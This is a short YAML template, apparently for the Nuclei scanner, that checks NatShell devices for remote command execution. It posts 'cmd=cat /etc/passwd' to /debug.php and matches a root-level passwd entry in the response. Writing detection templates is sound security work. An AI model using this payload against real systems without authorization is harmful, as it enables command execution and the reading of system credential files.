28 lines
446 B
YAML
28 lines
446 B
YAML
|
id: natshell-rcce
|
||
|
|
||
|
info:
|
||
|
name: NatShell Rce
|
||
|
author: pikpikcu
|
||
|
severity: high
|
||
|
reference: |
|
||
|
- https://twitter.com/sec715/status/1397924997457317897
|
||
|
tags: natshell,rce
|
||
|
|
||
|
requests:
|
||
|
- method: GET
|
||
|
path:
|
||
|
- "{{BaseURL}}/debug.php"
|
||
|
body: |
|
||
|
cmd=cat /etc/passwd
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
|
||
|
- type: regex
|
||
|
regex:
|
||
|
- "toor:[x*]:0:0"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|